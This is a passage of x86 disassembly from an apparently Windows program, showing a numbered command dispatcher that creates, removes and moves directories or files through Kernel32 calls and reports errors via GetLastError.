mov dword [eax], edx
call fcn.00413688
jmp 0x40f977
mov dword [ebp - 0x3c], 0x4a
mov eax, esp
lea ecx, [ebp - 0x568]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x54c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x530]
mov dword [eax], ecx
call fcn.00413598
jmp 0x40f9a1
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x4b
mov ecx, esp
lea edx, [ebp - 0x530]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x40f9bf
lea eax, [ebp - 0x530]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x568]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x54c]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x508]
mov dword [esp], eax
call fcn.00403a50
jmp 0x40faeb
jmp 0x40faed
mov dword [ebp - 0x3c], 0x4c
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 7
call fcn.00411128
mov dword [ebp - 0xac0], eax
jmp 0x40fb0f
mov dword [ebp - 0x3c], 0x4d
mov eax, esp
mov ecx, dword [ebp - 0xac0]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x584]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40fb39
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x584]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x584]
mov dword [esp], ecx
mov byte [ebp - 0xac1], al
call fcn.00405890
mov al, byte [ebp - 0xac1]
test al, 1
jne 0x40fb74
jmp 0x40fdba
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x3c
mov dword [ebp - 0x3c], 0x4e
mov ecx, esp
mov dword [ecx], eax
call fcn.0042ccc8
mov byte [ebp - 0xac2], al
jmp 0x40fbaa
mov al, byte [ebp - 0xac2]
test al, 1
jne 0x40fdb8
jmp 0x40fbba
mov dword [ebp - 0x59c], 0x5569c4
mov dword [ebp - 0x598], 0x1b
mov eax, esp
lea ecx, [ebp - 0x5a0]
mov dword [eax], ecx
mov dword [ebp - 0xac8], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x4f
mov eax, dword [ebp - 0x59c]
mov ecx, dword [ebp - 0x598]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xac8]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x594]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40fc16
mov dword [ebp - 0x3c], 0x50
mov eax, esp
lea ecx, [ebp - 0x594]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x5d8]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x40fc40
mov dword [ebp - 0x3c], 0x51
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0xacc], eax
jmp 0x40fc54
mov dword [ebp - 0x3c], 0x52
mov eax, esp
mov ecx, dword [ebp - 0xacc]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x5f4]
mov dword [eax], edx
call fcn.00413688
jmp 0x40fc75
mov dword [ebp - 0x3c], 0x53
mov eax, esp
lea ecx, [ebp - 0x5f4]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x5d8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x5bc]
mov dword [eax], ecx
call fcn.00413598
jmp 0x40fc9f
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x54
mov ecx, esp
lea edx, [ebp - 0x5bc]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x40fcbd
lea eax, [ebp - 0x5bc]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x5f4]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x5d8]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x594]
mov dword [esp], eax
call fcn.00403a50
jmp 0x40fdb8
jmp 0x40fdba
mov dword [ebp - 0x3c], 0x55
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 8
call fcn.00411128
mov dword [ebp - 0xaf0], eax
jmp 0x40fddc
mov dword [ebp - 0x3c], 0x56
mov eax, esp
mov ecx, dword [ebp - 0xaf0]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x610]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x40fe06
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x610]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x610]
mov dword [esp], ecx
mov byte [ebp - 0xaf1], al
call fcn.00405890
mov al, byte [ebp - 0xaf1]
test al, 1
jne 0x40fe41
jmp 0x410111
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x90
mov dword [ebp - 0x3c], 0x57
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x62c]
mov dword [ecx], eax
call fcn.0042db6c
jmp 0x40fe7c
mov eax, esp
lea ecx, [ebp - 0x62c]
mov dword [eax], ecx
call fcn.00403828
mov dword [ebp - 0x3c], 0x58
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0
call sub.KERNEL32.DLL_CreateDirectoryW
sub esp, 8
mov dword [ebp - 0xaf8], eax
jmp 0x40fead
lea eax, [ebp - 0x62c]
mov ecx, dword [ebp - 0xaf8]
cmp ecx, 0
setne dl
xor dl, 0xff
mov dword [esp], eax
mov byte [ebp - 0xaf9], dl
call fcn.0040380c
mov dl, byte [ebp - 0xaf9]
test dl, 1
jne 0x40fee0
jmp 0x41010f
mov dword [ebp - 0x644], 0x5569df
mov dword [ebp - 0x640], 0x1e
mov eax, esp
lea ecx, [ebp - 0x648]
mov dword [eax], ecx
mov dword [ebp - 0xb00], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x59
mov eax, dword [ebp - 0x644]
mov ecx, dword [ebp - 0x640]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xb00]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x63c]
mov dword [edx], ecx
call fcn.00403314
jmp 0x40ff3c
mov dword [ebp - 0x3c], 0x5a
mov eax, esp
lea ecx, [ebp - 0x63c]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x680]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x40ff66
mov dword [ebp - 0x3c], 0x5b
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0xb04], eax
jmp 0x40ff7a
mov dword [ebp - 0x3c], 0x5c
mov eax, esp
mov ecx, dword [ebp - 0xb04]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x69c]
mov dword [eax], edx
call fcn.00413688
jmp 0x40ff9b
mov dword [ebp - 0x3c], 0x5d
mov eax, esp
lea ecx, [ebp - 0x69c]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x680]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x664]
mov dword [eax], ecx
call fcn.00413598
jmp 0x40ffc5
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x5e
mov ecx, esp
lea edx, [ebp - 0x664]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x40ffe3
lea eax, [ebp - 0x664]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x69c]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x680]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x63c]
mov dword [esp], eax
call fcn.00403a50
jmp 0x41010f
jmp 0x410111
mov dword [ebp - 0x3c], 0x5f
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 9
call fcn.00411128
mov dword [ebp - 0xb30], eax
jmp 0x410133
mov dword [ebp - 0x3c], 0x60
mov eax, esp
mov ecx, dword [ebp - 0xb30]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x6b8]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x41015d
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x6b8]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x6b8]
mov dword [esp], ecx
mov byte [ebp - 0xb31], al
call fcn.00405890
mov al, byte [ebp - 0xb31]
test al, 1
jne 0x410198
jmp 0x410461
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x90
mov dword [ebp - 0x3c], 0x61
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x6d4]
mov dword [ecx], eax
call fcn.0042db6c
jmp 0x4101d3
mov eax, esp
lea ecx, [ebp - 0x6d4]
mov dword [eax], ecx
call fcn.00403828
mov dword [ebp - 0x3c], 0x62
mov ecx, esp
mov dword [ecx], eax
call sub.KERNEL32.DLL_RemoveDirectoryW
sub esp, 4
mov dword [ebp - 0xb38], eax
jmp 0x4101fd
lea eax, [ebp - 0x6d4]
mov ecx, dword [ebp - 0xb38]
cmp ecx, 0
setne dl
xor dl, 0xff
mov dword [esp], eax
mov byte [ebp - 0xb39], dl
call fcn.0040380c
mov dl, byte [ebp - 0xb39]
test dl, 1
jne 0x410230
jmp 0x41045f
mov dword [ebp - 0x6ec], 0x5569fd
mov dword [ebp - 0x6e8], 0x16
mov eax, esp
lea ecx, [ebp - 0x6f0]
mov dword [eax], ecx
mov dword [ebp - 0xb40], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x63
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [ebp - 0x6e8]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xb40]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x6e4]
mov dword [edx], ecx
call fcn.00403314
jmp 0x41028c
mov dword [ebp - 0x3c], 0x64
mov eax, esp
lea ecx, [ebp - 0x6e4]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x728]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x4102b6
mov dword [ebp - 0x3c], 0x65
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0xb44], eax
jmp 0x4102ca
mov dword [ebp - 0x3c], 0x66
mov eax, esp
mov ecx, dword [ebp - 0xb44]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x744]
mov dword [eax], edx
call fcn.00413688
jmp 0x4102eb
mov dword [ebp - 0x3c], 0x67
mov eax, esp
lea ecx, [ebp - 0x744]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x728]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x70c]
mov dword [eax], ecx
call fcn.00413598
jmp 0x410315
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x68
mov ecx, esp
lea edx, [ebp - 0x70c]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.00412e84
jmp 0x410333
lea eax, [ebp - 0x70c]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x744]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x728]
mov dword [esp], eax
call fcn.00405890
lea eax, [ebp - 0x6e4]
mov dword [esp], eax
call fcn.00403a50
jmp 0x41045f
jmp 0x410461
mov dword [ebp - 0x3c], 0x69
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 0xa
call fcn.00411128
mov dword [ebp - 0xb70], eax
jmp 0x410483
mov dword [ebp - 0x3c], 0x6a
mov eax, esp
mov ecx, dword [ebp - 0xb70]
mov dword [eax + 8], ecx
lea edx, [ebp - 0x1ec]
mov dword [eax + 4], edx
lea edx, [ebp - 0x760]
mov dword [eax], edx
call fcn.0045dbec
jmp 0x4104ad
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x760]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004110e8
lea ecx, [ebp - 0x760]
mov dword [esp], ecx
mov byte [ebp - 0xb71], al
call fcn.00405890
mov al, byte [ebp - 0xb71]
test al, 1
jne 0x4104e8
jmp 0x410844
mov eax, esp
mov ecx, dword [ebp - 0x8d4]
mov dword [eax], ecx
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0x3c
mov dword [ebp - 0x3c], 0x6b
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x77c]
mov dword [ecx], eax
call fcn.0042db6c
jmp 0x410521
mov eax, esp
lea ecx, [ebp - 0x77c]
mov dword [eax], ecx
call fcn.00403828
mov ecx, esp
mov edx, dword [ebp - 0x8d4]
mov dword [ecx], edx
mov dword [ebp - 0xb78], eax
call fcn.00410fc8
add eax, 4
mov ecx, esp
mov dword [ecx], eax
call fcn.00410fec
add eax, 0xac
mov dword [ebp - 0x3c], 0x6c
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x798]
mov dword [ecx], eax
call fcn.0042db6c
jmp 0x410571
mov eax, esp
lea ecx, [ebp - 0x798]
mov dword [eax], ecx
call fcn.00403828
mov dword [ebp - 0x3c], 0x6d
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0xb78]
mov dword [ecx], eax
call sub.KERNEL32.DLL_MoveFileW
sub esp, 8
mov dword [ebp - 0xb7c], eax
jmp 0x4105a4
lea eax, [ebp - 0x798]
mov ecx, dword [ebp - 0xb7c]
cmp ecx, 0
setne dl
xor dl, 0xff
mov dword [esp], eax
mov byte [ebp - 0xb7d], dl
call fcn.0040380c
lea eax, [ebp - 0x77c]
mov dword [esp], eax
call fcn.0040380c
mov dl, byte [ebp - 0xb7d]
test dl, 1
jne 0x4105e5
jmp 0x410842
mov dword [ebp - 0x7b0], 0x556a13
mov dword [ebp - 0x7ac], 0x17
mov eax, esp
lea ecx, [ebp - 0x7b4]
mov dword [eax], ecx
mov dword [ebp - 0xb84], ecx
call fcn.004032f8
mov dword [ebp - 0x3c], 0x6e
mov eax, dword [ebp - 0x7b0]
mov ecx, dword [ebp - 0x7ac]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xb84]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x7a8]
mov dword [edx], ecx
call fcn.00403314
jmp 0x410641
mov dword [ebp - 0x3c], 0x6f
mov eax, esp
lea ecx, [ebp - 0x7a8]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1ec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x7ec]
mov dword [eax], ecx
call fcn.0045dbec
jmp 0x41066b
mov dword [ebp - 0x3c], 0x70
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0xb88], eax
jmp 0x41067f
jmp 0x410844
mov dword [ebp - 0x3c], 0x74
mov eax, esp
lea ecx, [ebp - 0x68]
mov dword [eax], ecx
mov dword [eax + 4], 0xb
call fcn.00411128
mov dword [ebp - 0xbbc], eax
jmp 0x410866